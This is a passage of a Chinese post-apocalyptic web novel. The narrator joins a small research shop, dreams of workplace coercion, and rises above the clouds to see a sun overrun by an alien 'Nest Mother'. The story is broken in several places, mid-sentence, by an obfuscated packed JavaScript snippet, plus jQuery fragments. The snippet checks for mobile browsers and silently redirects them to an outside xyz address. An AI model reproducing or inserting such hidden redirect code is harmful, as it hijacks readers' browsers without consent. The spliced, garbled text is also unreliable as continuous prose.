我问,“为什么当时不告诉我?要说是闹铃响?” “老大,你要我怎么解释?”青少年连口癖都跑了出来,很不耐烦,“要给你说清楚的话,就像今天这样,把我的能力和盘托出吗?” 我觉得他在交代自身能力上似乎还蛮爽快的。 “我可不想被那些人知道,到时候刁难我,强迫我去别的地方做事怎么办?”他斜了我一眼,“我就想待在这里,做我现在做的事。 “你也别给我乱说,”他恶狠狠地瞪着我,“我可不想去服务什么大佬,帮他们重现什么恶心死了的逝去青春回忆。” 听起来还挺像是曾经被安排做过这些事的。不过,一号基地里的大人物,除了凌云外,更新换代估计都很快。他现在能好好站在这里,应该已经解决了过去的麻烦。 “就是这样了。”他抱着胳膊挑挑眉,“没什么别的事,你该走了吧?” 他只是态度凶,大概因为能力是真的没什么杀伤力,又知道体力上打不过我。 “还有件事,”我说,“我要找工作。” 这是我看到那些花盆和实验器具后生出来的想法。 青少年沉默了好一会儿,然后破口大骂,“你有病吗?” 又求饶,“放过我吧老大。” 但他并没有真的拒绝,而是慢慢缓过来后,说,“这事我做不了主,等着。” 青少年走出柜台,绕了两下,推开道门走进去了。 45. 面试 末世里的建筑结构大多简单,但也有套间,这条街上的房屋大多都是这种前店后宅的实用结构。不一会儿,青少年从里屋带了个人出来。 青少年先前再气恼,都没有去搬救兵。这位能做主的人,年纪和梅姨相仿,看起来很和气,梳着又圆又大的发髻。 圆发髻端详了我一会,问,“听说你想来这里工作?” 我指了指角落里那台缝纫机,“我会用那个。能看店,能算账,大多杂事我都能做。” 她说,“我们给的工资不高,也不想聘外人。你知道这里是什么地方吗?” “我知道。” 这里不只是店家。 我想了想,问,“我听说这边有个星火基地,你们知道在哪吗?” 都在一个圈子里,他们或许知道彼此。反正我去哪家都是一样的。 比起基地中那些在蜗角蝇头里争来争去的派系,我更想找个对外面世界还有些好奇的团体待着。 希望是很珍贵的东西,需要有无中生有的勇气。 圆发髻的神情变得复杂,说,“星火基地早就不在了。” 又问,“谁介绍你来的?” 看来这个圈子里的人没有那么多。 这样年龄的人,在当初肯定也有过什么牵扯。 我报了兰姐的名字。圆发髻果然知道。 事实上,她也是兰姐给我的名单中的人。 我们各自交待兰姐的近况和星火基地的去向,不外乎世事飘零,人物离散。青少年苦着脸在旁边看我们叙旧,知道我是不会走的了。 我们再来谈待遇问题。 我不能住在这边,得按时返家。好处是我不用操心衣食和日用品,只要能交满基地定期征收的巢母供奉费就行。圆发髻说能交得起。 圆发髻问我在另一方面的待遇,“你来这里,是想要知道什么?” 知识是诅咒。但对飞蛾扑火的人来说,诅咒也是有价的。 我问,“有没有什么办法能提升能力?” “这还不简单?”青少年嗤之以鼻。 我补充道,“除了拿光珠子去找那个人以外的方式。” 在找到其他兼职前,我可能很穷。而且,我不能完全指望凌云。 “你是想盗火啊?”青少年又抱着胳膊摇了起来,像是有多动症。 我的道德没那么崇高,不会为了别人做普罗米修斯。 但更需要说明的是,“他不是什么神明。” 我不认为凌云在意权威。他也没有下到黑湖里,亲自一个个点化人类,让他们感恩戴德。 青少年的眼神扭了起来。 圆发髻说,“星火基地以前做过类似的研究,没什么特别有说服力的结果。你要想尝试的话,我可以慢慢告诉你。” 我点点头,又想起另一件事情。 在他们这里,或许是有条件研究的。 我从背囊深处,找出一件东西。 是我当初在天台上取来的,灰雾的样品。 我一直将它放在遮光的皮袋里,偶尔独处时想起来,就拿光珠子照照它。 我发现它会在光照中增殖,变得比先前取样时多了些。 我小心控制着不要让它生长成灾害。 我现在毫不留情地将这灰雾撕成两半,揪出来其中一半给眼前的两人看。 青少年不由叫道,“这什么玩意儿?” 圆发髻的面色变严肃了,“你从地表带回来的?” 我点点头,向她介绍这玩意的采集地。 “我知道它,”圆发髻长长吐出一口气,声音有些颤抖,“被阴云卷走的人都没有回来,我们当初没能取到样品。” 青少年的脸唰一下白了,“这就是你们说的,天穹顶上那层怪物……” 圆发髻效仿我的行为,捏了捏那块灰雾,感受其活性,仿佛叹息般说道,“是活的。” 我说,“你们在研究植物对吧? “这个姑且也算是会光合作用的物种,你们有办法能发明出什么除草剂来,让它种群灭绝吗?” “不要说得那么简单!”青少年抱着头说,“比方不是这么打的,我们要讲科学!” 我还以为他最爱打比方和讲鬼故事呢。 但青少年确实拒绝不了这种诱惑,他不转眼地盯着那团灰雾,“你确定愿意拿出来给我们做研究?弄坏了也不要紧?” “如果研究目的就是奔着弄死它而去的,很难保证不在中途就将它弄死吧?” 我说,“它有光就能增殖,平时要让它绝食。按需培育的话,样品是管够的。” 我又提醒道,“不过得小心点,别将它喂肥了,不然都不知道是谁弄死谁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舍友的生活作风与我迥异,但我知道,在有些事上她和我是一样的。 她一向活得那么用力。 我们都在拼尽全力。 46. 间章 最后的梦 我很久没做梦了。 一开始我没有意识到——那天早上我出门时忘带手机,我叫上舍友一起回住所取。 舍友嫌弃地教训我,丢给我钥匙就先走了。 我在回去取手机的路上遇到点麻烦,最终面试没能去成。 那天出门也不算白费。 我在兼职软件上接了个急活,临时顶替别人在公园穿充气玩偶装做宣传。 下午的时候我接到舍友电话,她说她收到通知面试过了,晚上她请吃炒面。 那天艳阳高照,晒得整个世界金灿灿一片。公园里孩子们嬉闹声吵得我头晕。摩天大楼上反射着刺眼的光晕。 过了几天,我又接到HR王小姐的电话,问我有没有时间,公司有轮新面试。 我成功入职。我在组里认识的同事都是新人,待业后返岗的大哥,小妹,还有大学在读期间来刷简历的实习生小弟。 可惜好景还不长,还没等我记住同事的脸,这个项目组就因为上级调整而解散了。我们放下做了一半的工作,被转到其他部门。 有个关系户的小经理脑子有病,我找机会教训了他一顿,他吃瘪后反而能听懂人话了。 他靠着家里的关系,帮我解决了一些麻烦,然后给我买水送饭,在下班点等我,成为了我的新麻烦。 我想着工作要紧,日子差不多这么遭也能过。 这时候新上司来了,二话不说清理了这堆关系户,将小经理开除了。 有次小经理来公司门口堵我,新上司将他赶跑。 不知道新上司用了什么手段,我后来再没见到四足蜘蛛那一家子妖魔鬼怪。 在新上司手下的日子也不好过。要加班,常年在公司过夜。我好不容易搬出了地下室,结果很久没能回宿舍。 新上司去哪出差都要带我,也让我见识到了不少光景。麻烦的是,新上司毫无边界意识,似乎想要无止境地侵占我的生活,在职权骚扰上比四足蜘蛛还过分。 我被逼得假跳楼了两次,来争取稍微正常点的劳动待遇。 就算他愿意给我开加班费、工伤补贴、精神补偿费,我也受不了了。 我开始对外投简历。这时我才发现我惹上的是条有权有势的疯狗。 我单知道要是和上司关系不好,他可能会在新公司做背调时说我坏话。我没想到新上司会对外放话说,我去哪个公司他就搞哪个对手,甚至说我去楼下早餐店打工他就盘对方店面。 商场如战场,没人会为了一个小员工得罪难惹的疯子。 就吞光者干出来的这种事情,他还好意思在我面前痛哭流涕,下跪求饶,搞醉酒发疯那一套,暴雨天里非要待在我楼下罚站,送我就医还弄出负面舆情。 我拿着工资替他善后,都快有了心理阴影。 我甚至咬牙想过,干脆和他拼了,一了百了。 再然后,恶人自有恶人磨,新的总裁横空出世,故人离职就如入土。 这回终于没人在我楼下哭了。 新总裁冷情冷面冷心冷性,唯有对我,会在人后露出那张贪婪可怖的脸。 可笑,他不买我的劳动力,他要买我的心。 心是能卖的吗?我有心可卖吗? 办公室里聚集着他的伥鬼,说卖掉那颗心的话就能让凌云加倍倾斜资源,让整个集团的业务蒸蒸日上,这是造福集团里所有人类员工的大好事。 所有人都想过好日子,为何我不愿意更进一步? 办公室里派来金发助理,拉着我好说歹说,最后劈头盖脸地一句,你就是矫情。 他那么爱你,为什么你不肯爱他? 为什么呢? 舍友还是我的舍友。她在集团的另一个体系里玩命奋斗,男友换了一任又一任,要报的仇或要讨的债都已悉数收回。 她在外面混得越来越好,挂着满身奢侈品,另有金丝笼住,但还是愿意分担我的房租,偶尔会回来和我住。 我知道她除了待在男人那里外,还需要在这座城市中保留一个由她自己付钱的落脚地。 有天晚上她醉醺醺地回来,我照常拖她去沙发上照顾,她将我按倒,终于愿意大发慈悲地问我近况,听我烦恼。 她听着听着就哈哈大笑,说你有什么不满意,这不就是标准的言情小说情节?不就是好多少女梦寐以求的梦? 你看,它们又不吸你的血,又不要你的命,只是要你的爱,你就给它们嘛,你又不是做不到。 舍友说,你知道该怎么做的。我们一起看过那么多言情小说打发无聊又痛苦的时间。那些书不都已经将做法教给你了吗? 女主角们都是怎么做的?依赖他,崇拜他,告诉他离开他你就活不下去,让他享受精神上的支配,让他为能够彻底占有你的生活而安心。 这样他就能稳定下来,就不会再在你的生活中发疯。 我感到愤怒。它们有那样强大的力量,它们能轻易毁灭我的生命,它们不仅想要摆布我的身体,还想要玩弄我的精神。 它们想要我的屈服,想要我放弃对自我的坚持,在精神上为奴为婢。 舍友说,那又不是真的,你明明可以伪装。 你不是也看过好多这种言情小说吗?不爱男主角的女主角大有所在,只要将爱人当成一种职业,没人在乎你心底怎么想。 帝王到临死前都不知道宫妃从未爱过他。被攻略满值的角色被没有真心的玩家蒙骗到大战修罗场。那种套路多爽啊。 我质问她,只是一种职业? 在别人的需求中被迫出卖违背本心的东西,还要用工作的说法来粉饰太平?那奴隶建造金字塔也是工作。 骗人又有什么意义呢。 这不过是种精神胜利法,我可以在心底为“我不爱他”的真相沾沾自喜,可我在生活里围着他团团转的时候,我已经成为他事实上的奴隶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802362|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我嘲笑他的被骗,他嘲笑我的自欺。 被迫在屈辱中成为情妇的人,大可用这种态度对待金主,好似她们的真心价值高昂,好像不爱是一种惩罚,但金主早已在她们服侍和顺从的态度中得到满足。 舍友发出了怪异的笑声,说,我就知道。 你一直都看不起我。 我正想要否认,舍友又反问,那你呢? 承认吧,子涵,你骨子里就是个缺爱的小可怜,才会觉醒出这种能力,才会得到这么多的…… 她嗤笑一声,捧起我的脸,像是看什么可怜虫般轻轻启唇说,爱。 这又怎样呢? 我下意识地自我辩解。我从来都很擅长自我辩解。 谁不缺爱呢?女孩想要他人的爱,男人就不想要了吗? 男人仿造女性的口吻,写了那么多的思妇诗。妻想要夫的爱。子想要父的爱。臣想要君的爱。 因为爱是德不配位的借口,是不正当的竞争,是一步登天的捷径。 所以,赐予爱是上位者的能力,只有上位者的爱是有价值的。 我用讥讽的语调说道,他居然向我索取爱?我哪有施舍爱的能力呢? 舍友没有听完我的辩解,她早就醉倒在我的身上。 我望着天花板,轻声说,我想要不是爱,是力量。 爱救不了我。 那真是好漫长的一个梦。 我在梦里见到了那么多人和那么多怪物。 我有时知道那一切不过是个梦,有时又以为自己真的生活在那个梦里。 梦里的世界很和平,可发生在我身上的故事却与在末世的我相仿。 我梦到了已发生的事情,梦到了还未发生但能够预见的事情,还梦到了不可能再发生的事情。 我在梦里见过一次大哥。 项目组解散后,他去了其他的部门,他做事从来都很稳重踏实,也一贯与认识的人保持着良好的联系。他有时会约小弟小妹我们一起出来吃饭,交流下不同部门间的业务和八卦。 他总会留意让我们从这种交往中有所收获,所以我偶尔会抽时间去。 比较奇特的是,不知为何,有一次我单独与大哥在夜里散步。 我的大脑在睡梦中很快修补完了逻辑链。 ——因为舍友醉倒了,我睡不着,独自去楼下散步,遇到了大哥。 我在梦里分着身,两个梦叠在一起。我一会儿觉得自己在沙发上被沉重的舍友压着说梦话,一会儿觉得自己正在夜晚的雪地中与大哥并肩漫步。 那是好冷好重的一个夜晚,我们沉默地走了很久很久。 与舍友那边相比实在是太安静了。 直到天快亮的时候,大哥带我去街头的早市喝豆浆。 在热气腾腾的袅袅雾气中,他才终于开口,略带指责地说,子涵,你根本就不相信爱,就算得到了爱你也不知道。 47. 凌云 我从梦中醒来时,不知道自己已经醒了。 我睡觉的时候总是将光珠子收起来的,屋里没有一丝光线。 有人靠在我的身旁。我以为是舍友醉相不好,试图翻身时恍惚觉得不对,又摸了摸,才知道那是凌云。 他原本只会在人们都睡着时来窥看我的。 自从用过他的服务后,他就变本加厉了。 我摸出光珠子,照亮他的眼,想起了最早前在泥沼边的那个夜晚。 他像最初时那般,静静看着我的脸。 我不知道他究竟能看出什么。我不习惯将任何事写在脸上。 凌云说,“你刚才在说话。” “嗯。”我平静地答道,“人类会说梦话。” 我躺在我的恐惧里,感受着我的能力在持续发挥作用。我问,“我都说了什么?” 他说,“听不懂。” 光珠子稳定地亮着光,墙壁没有窗——醒过来后的我还在末世里。 我照常去上班。等熟悉之后,我将手机交给青少年研究了。我用手机观察着我错过的,可能有的另一个时间线的生活。 大多时候手机都是沉寂着的,与我最后一次看见它毫无差别,在地底又连不上网,大多时候它只是被动的数据储存器。 青少年那命运重现的概率能力,偶尔能抽中些惊喜。 有几次,我看见有我没见过的通话记录躺在通讯录里,但我无从揣测那些可能有过的对话与内容。各种常用软件里多出来的数据也没有什么意义。 末世不来临的话,我按照过去那种生活方式留下来的信息,对我在末世的生活没有任何用处。 我更想查查我以前不怎么关注的科技或社会新闻,比如说异常的天气预报、环境污染或学术发现之类的报道,但那种信息是不会出现在一个挣扎求生的贫穷女孩的手机中的。 凌云没事做的时候,会跟着我。我带着家属去上班,有时会将检查过内容的手机丢给凌云打发时间。 我不在乎他看到我过去的生活记录。他好像更加沉迷我的电子榨菜,那些我觉得荒谬无比却还是会拿来消遣解压的网络小说。 穷人没有精力去搞更费脑的爱好。留给穷人的廉价娱乐方式,也就是这些了。 因为他和他那些拥趸的驾临,店里有些自研项目得到了意外的赞助。比如说培育植物的长期风投项目就被某个派系发现并注资了。再加上修手机的酬劳,店里近期收入颇丰,圆发髻给了我额外分红。 也有些项目的保密级别比较高,是只有他们不在的时候才能做的。像是能力开发和灰雾研究,干系重大,若真有了成果,怕是会成为某些派系的眼中刺。 凌云答应了要保护我,但他未必有心特意保护我的工作场所。 我渐渐习惯了这种工作环境。有次我和青少年合力维修某个器械。他埋头工作,伸手时下意识的说,“姐,把那个小号螺丝刀递给我。” 我用螺丝刀敲了他的头。 “别叫我姐。”我正色说。 别人带的小弟另当别论。“我在这世上最不想要的事情就是有个弟弟。” 几个月后,凌云再次带我跟随探险队出门,去了地面。 这次的路线又和上次不一样,路过的是一个刚发展出来的小基地,第六基地。 那个基地的管理模式似乎又和第一基地、第四基地不大一样。金发的分组者偏袒着送了很多新人过去。 我不知道那个基地如何对新人阐述未来,那些新人死亡率高,活得很苦很累,精神却像是自虐般的高涨。 那边的管理层对探险队很谄媚,明明是新基地最需要积累的时候,付账给的光珠子却很多。 他们还私下给了我一份,我知道那是因为凌云的缘故。 我不知道有哪些其他队友也收到了这多出来的一份,按世情推算,我猜是有的。 在探险队好像是比一号基地里的普通工作要赚的。 凌云带的队伍,又格外安全。他出门好像总是会挑些更难的路走。 我在路途中见到了与以前完全不同的生态圈。凌云照样修剪打理着它们,不会让某个物种繁育得过于强盛。 在地底行走的横向距离远大于垂直距离,有时我想这算不算是横跨地心去旅行。 最后去地表的路又是要临时向上挖掘。 我们先挖通到巨大的地下水道,再顺着楼梯上去。我认不出来这回是哪个城市,但风貌肯定和上次的不一样。救助幸存者时也没有再发生什么文化风波。 我带着凌云爬上了最高的大楼。不是什么故地重游,而是索要报酬。 我做了他的家庭教师,一直没索取物质报酬。倒不是高风亮节,只是不想让这单事占去我工作的名头。 我和他说好了,让他帮我做一件事情。 “我想要越过云层,看看太阳。”我问,“你能带我去看那样的景象吗?” 他说,“可以。” 我将光珠子的光芒投射向天空。我知道那些阴云有多贪心。这里的阴云还没受过教训,不过片刻,灰色的漩涡就已近在头顶。 我看着凌云,他从容地伸出手臂,迎向奔赴而来的云层。 他对阴云的吞噬,比上次撕开灰雾救我时更加细致彻底,所触及到的灰黑棉絮无不黯淡失色,散落成尘烬,如雪般飘落。 我和圆发髻他们,在实验室中对灰雾做的处理,都还未能将其毁灭到这种地步。 我伸掌掬了一捧飞灰,用指腹将其捻成更细腻的粉尘。 或许正如我们的猜测,覆盖大地的那些灰白色土壤,正是从布满天空的灰雾中沉降下来的残渣,是那种生物新陈代谢的产物。 我们还未在实验室中观察到这种现象,所以这种新陈代谢的周期一定极为漫长,或是代谢产物占云雾总量的比率一定极低。 我将这次的样品也塞入衣兜。 青少年的追溯能力是以物质变动程度来计量消耗,无法测量事物变更的时间。 末日之后的世界,究竟在漫长的毁灭中经历了多么久远的时间呢? 那种贪婪的云雾究竟又有多厚呢? 凌云已经以自身为中心,将灰雾破开一个洞口。 我们还未能得见天日,那些雾无穷无尽地向我们倾倒涌来。我看不清内里究竟有多深。 或许是因为我们已侵入其领域,灰雾并未像数月前在天台上那般退走,反倒是向我们聚拢过来。 凌云面不改色地撑住了漩涡般的雾洞。 我期待着看两虎相争。可凌云似乎没有将其剿灭殆尽的打算,在灰雾的洪流中翻找着什么。 很快,他抓扯住某 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他带着我往上攀登,云层越往上越密集,我能感受到周围灰雾的密度越来越浓,藏有无数实体在其中翻滚蠕动。 归根结底,它们并非雾气,而是实物。 可它们被凌云轻而易举地用手拨开。 那样庞杂的生命体,究竟有意识吗?其能分能合,不同部位相互挤占位置,其生存本能是有序的吗? 我站在凌云那过于庞大又混乱的情绪里,从未如此清晰地感觉到自己身在其中。 我将头抵在眼前这具人形的肩上,我从来就知道,这副过于标准的身躯不过是某种造物,我知道它能像吞光者那样不断同化使用其它生物的肢体,我知道黑湖湖底藏着的巨大能源或许已被它占有,我知道它在地底生态圈各处可能都布有分支的眼线,但我还从未想过头顶的天空。 但其实,提示一直都在,不是吗? 我问,“你的名字是自己取的吗?” “是教我说话的老师给的。” “他也死了?” “是的。” 我们越来越往上,不知穿透了多么厚的云层。 最终,他拉着我坐到了那座穹顶之上。 淡金色的光芒从头顶传来,虽然稀薄浅淡,不够温暖,却是我仿佛已有一辈子没见过的阳光。 如果不算梦里的话,上次见到阳光,还是我和舍友一起走在街道上的时候,我还在为我面试忘带手机的事情忧心不已。 我见证了天空的闪烁,和熄灭。 自那以后,我被埋葬在地下室中,又从最黑暗的黑湖醒来,经过艰难跋涉,经过漫长挣扎,终于再次回返地面,攀上云层,才能与它重逢。 我以为这件事能给我意义,能成为一面旗帜,能象征着人类的历史已走入新的阶段,能够让我再度鼓起勇气,向着天空伸手,筹谋新的目标。 我顾不得怨恨和懊悔,迫不及待用手捧住阳光,近乎顶礼膜拜地抬头望去—— 然后僵在原地。我下意识地问,“那是什么?” 我甚至忘了凌云的本源,只定定地看着上空,感受到巨大的恐惧从我的头顶灌入。 我看到了一轮黑色的太阳。 48. 太阳 这个形容并不准确。 太阳不完全是黑色的,它仍能发光,也仍在兢兢业业地发光。我手中那捧浅淡的阳光,还有周围翻滚的贪婪灰雾,都是明证。 可它已黯淡得不像是恒星。 哪怕没有云雾的遮挡,在大气层高处,我也能够直视太阳,而丝毫无虞视线受损。我能清晰地看见,它表面生出了许多霉菌般的黑色斑点。 不是太阳黑子。那种黑点更像是太阳的病变。大小不一的斑点由薄雾般的膜与丝状物联系在一起,像是为太阳罩上一层黑纱。 那黑纱之下,太阳只能像是发射求救信号般,对太空放出奄奄一息的光芒。 我听到凌云的声音从耳侧传来,“那是巢母。” 巢母? 为何巢母能跨越这样的距离,抵达太阳? 不,它真的是从地球过去的吗?它真的是基地中生活着的人类们所称的那种巢母吗? 我知道,人类的词汇库里绝无现成的名称,可指向我看到的事物。 这大概是凌云所挑选的在他看来最相近的形容。偏偏他对有些词语的理解又与人类似是而非。 巢母。 巢为盘踞之地。母为万物亲源。 我突然想到,或许我弄错了因果关系。 所谓的巢母,所谓的怪物,这样的灾难不应该是从地球攀升到太阳,而是从太阳降临地球。 我立即转首,去寻找天空中我们熟悉的那些行星,却无论如何都找不到。 或许,它们也像地球一样,被黑暗藏起来了。 这是整个太阳系的灾变。 我看着那颗亲近又遥远的恒星,就算人类科技在巅峰之时,也无法用飞行器抵达触及的恒星。 我不由对凌云的能力抱着更深的怀疑,“……你也在太阳上吗?” 我甚至希望他能做到。 “不。那里只有巢母。” 我想这不是什么好消息。说明我完全被困在地球上了,被困在将死的行星上,连这颗行星的母亲恒星都即将消亡。 圆发髻他们正在研制的“除草剂”大概是毫无意义的。 我喃喃问,“连太阳都会熄灭吗?” 凌云回答,“消化一颗恒星需要很久。” 这是安慰,也是笑话。死缓和死刑的区别是,如果我的生命够短,那悲哀的末日就追不上我。 气愤之下,我忍不住问,“它非得吃完吗?” 我知道这问题可笑,像是乞丐眼巴巴地望着地主家桌上的残羹。 但,万一有什么办法可想呢? 往桌上砸泥巴或许能倒对方的胃口。一挂鞭炮没准就能吓走年兽。 在生存面前要什么体面?我总是不肯放弃作任何形式的抵抗和争斗。 凌云说,“只有从恒星中提取到足够的能量,巢母才能启动下一次星际跃迁,去往别的星系。 “如果这个星系的能量不够,它就会搁浅在这个星系中,和它养育的族群一起死去。” 所以,巢母的生存方式,是吃尽整个星系的资源才能攒够能量前往下一个星系的单程旅行。 任何星系的原文明,都无法用简单的手段将这样的恶客驱走。因为,对巢母来说,这场资源争夺也是一场殊死之战。 恒星是为星际跃迁提供能源的发动机。 那么,地球和其他的行星呢?是巢母养育子嗣的苗床吗? 它的子嗣是凌云?是遮天蔽日的滚滚浓雾?是藏在岩层中的奇异生态圈?抑或都是? 我醒来后见到的除了人类外的所有物种,都是地球过去从未自然诞生的物种,在对光能与热能的掠夺上有着贪婪的共性。 “你是它的同族吗?你跟着它来到太阳系?落到地球上?”我浑身发冷,“到时你会同它一起离开?” 凌云给了我意料外的答案,“不,我在地球上诞生。” 他是巢母降临太阳系之后才受到影响,从地球上诞生的新物种? 这么说来,养育族群究竟是什么意思? 巢母用何种方式来繁衍? “……你为什么知道这些事?” 在问出这个问题的时候,我竟然很怕他回答。这样的恐惧俘虏了他,让他更加亲近我。 我在心里想,停住。 可我必须问个清楚。 他的面孔停在我的眼前,他说,“遗传记忆,你也会有。” 我当然知道什么叫做遗传记忆。 昆虫们不需要学习也本能地知道在生命的每个阶段中该如何筑巢、觅食和繁衍,精准地完成最复杂的工艺制作和生活步骤。 如果巢母的子嗣要跟上它飞升跃迁的步伐,当然也要学会抬头看向天空中的太阳,提前知晓自身生命中的一切注定。 “……可是,我是人类,我记得过去的一切……” “你是人类。”凌云说,“我是别的什么。那不重要。 “等你更饱了,就能记起来。” “是黑液。”我想到了,“地表上到处都是曾发生过黑色洪水的痕迹。那是巢母从另一个星际跃迁时,带过来的。” 黑液保存了幸存者的躯体活性,也覆盖了所有的地表木石。 我追问,“黑液是巢母制造的吗?黑液中到底有什么?” “信息。”凌云说,“巢母从过去吞噬掉的星系中,得到的所有信息。” 我想起了之前某次不慎与凌云精神交融后,得到的那么多混乱的噩梦。 所以那就是巢母的繁衍和演化方式。 它不断地吞噬,不断地同化,将从过去星系中得到的海量遗传知识播洒到新的星球,改造环境的同时也与新的环境发生互动,催生出携带着它遗传记忆的新生命…… “你在学习。”我看着凌云的脸,“你在采集信息。” 被放置在各颗行星上的生命,是巢母用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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它们有着犹如白纸般可以吸纳一切的生物基底,以及望不到头的发展上限。 我们是解码器,却只能仰仗着怪物来生存。 凌云不知为何又凑过来吻我。我仰起头,让那毫无杀伤力的阳光漂浮在泪水中,从我的眼里溢出来。 但我的心已不再会像在天台上望着漫天乌云那次般绝望了。 凌云追了上来,用他的脸替我覆盖住了那副黑色太阳的景象。 我看着他的眼,看着那好像藏在深渊中的日影,等到与他分开,才问,“你知道你还没学会的是什么吗?” “是什么?” “我教过你人类的感情,人类的意志,人类的信念,但你总是学不会。因为你太强大了,所以无法理解从弱小中生出来的力量。 “人类的聪明机警,决心勇气,专注忍耐都来自于忧患。” 我捧着他的脸说,“所以接下来我会教你痛苦。 “你能做到对我袒露弱点吗?你只有先受到伤害,才能变得更强大。”